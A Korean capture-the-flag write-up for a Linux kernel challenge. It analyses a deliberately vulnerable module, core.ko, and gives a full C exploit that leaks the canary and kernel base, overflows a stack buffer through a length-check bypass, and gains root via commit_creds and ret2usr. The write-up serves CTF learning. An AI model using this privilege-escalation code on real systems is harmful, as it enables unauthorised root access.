직접 Writeup 안보고 풀었다. 🎉

문제 파일

file: attachment

> ls
bzImage  core.cpio start.sh  vmlinux

압축을 풀면 위와 같다.

cpio 명령어로 rootfs에 cpio파일을 푼다.

init파일을 읽는다.

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

별건 없고 /core.ko가 있다.

core.ko를 디컴파일 해서 분석해보자

중요함수는 아래와 같다.

  • ioctl 함수
    • 0x6677889b: read 함수 실행
    • 0x6677889c: off 변수에 인자 값을 넣기
    • 0x6677889a: copy 함수 실행
  • read 함수: 지역변수에서 off만큼 떨어진 곳에서 0x40 바이트를 읽어서 사용자 공간에 쓰기
  • copy 함수: name 변수에 있는 값을 인자값 만큼 지역변수에 넣기 (byte limit bypass 가능)
  • write 함수: name 변수에 사용자 공간의 데이터를 인자값 만큼 쓰기

익스 시나리오

  1. ioctl 0x6677889c를 통해서 off값을 증가시키기
  2. ioctl 0x6677889b를 통해서 read함수 실행 -> canary, kernel base leak
  3. write을 통해서 name에 ROP chain 넣기
  4. copy를 통해서 name을 지역변수로 옮기기 <- 0xffffffffffff0058로 byte limit bypass

익스

개략적인 익스 코드는 krop 을 참고했다.

#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>

struct task_struct;
struct cred;

static struct cred* (*prepare_kernel_cred)(struct task_struct *deamon) = (void*) 0x9CCE0;
static int (*commit_creds)(struct cred* new) = (void*) 0x9C8E0;

uint64_t stack[512] __attribute__((aligned(16)));

void shell() {
    system("/bin/sh");
    exit(0);
}

void ret2usr() {
    static struct trap_frame {
        void *rip;
        uint64_t cs;
        uint64_t rflags;
        void *rsp;
        uint64_t ss;
    } tf = {
        .rip = &shell,
        .cs = 0x33,
        .rflags = 0x202,
        .rsp = stack + 512,
        .ss = 0x2b
    };

    volatile register uint64_t RSP asm("rsp");
    commit_creds(prepare_kernel_cred(NULL));
    RSP = (uint64_t) &tf;
    asm volatile(
        "cli\n\t"
        "swapgs\n\t"
        "iretq"
        ::"r" (RSP)
    );
}

int main() {
    char leak[0x50] = {0,};
    uint64_t chain[0x10] = {0,};
    unsigned index = 8;


    int fd = open("/proc/core", O_RDWR);
    if (fd != 3) {
        puts("open error");
        return 0;
    }


    ioctl(fd, 0x6677889c, 0x40);
    ioctl(fd, 0x6677889b, leak);

    for (int i = 0; i < 8; ++i) {
        uint64_t value = *(uint64_t *)(&leak[i * 8]);
        printf("0x%016lx", value);

        printf("\n");
    }


    uint64_t canary = *(uint64_t *)(&leak[0 * 8]);
    uint64_t code_base = *(uint64_t *)(&leak[2 * 8]) - 0x191 - 0xa;
    uint64_t kernel_base = *(uint64_t *)(&leak[4 * 8]) - 0x1dd6d1;

    commit_creds += kernel_base;
    prepare_kernel_cred += kernel_base;
    puts("[LEAK]");
    printf("canary     : 0x%016lx\n", canary);
    printf("code base  : 0x%016lx\n", code_base);
    printf("kernel base: 0x%016lx\n", kernel_base);
    printf("commit_creds: 0x%016lx\n", (uint64_t) commit_creds);
    printf("prepare_kernel_cred: 0x%016lx\n", (uint64_t) prepare_kernel_cred);


    chain[index++] = canary;
    index++;
    chain[index++] = (uint64_t) &ret2usr;

    int written = write(fd, chain, 0x58);
    if (written != 0x58) {
        printf("[ERROR]\n");
        printf("expected 0x58, but %x\n", written);
        return 0;
    }
    ioctl(fd, 0x6677889a, 0xffffffffffff0058);


    return 0;
}

느낀점

굿

참고자료

krop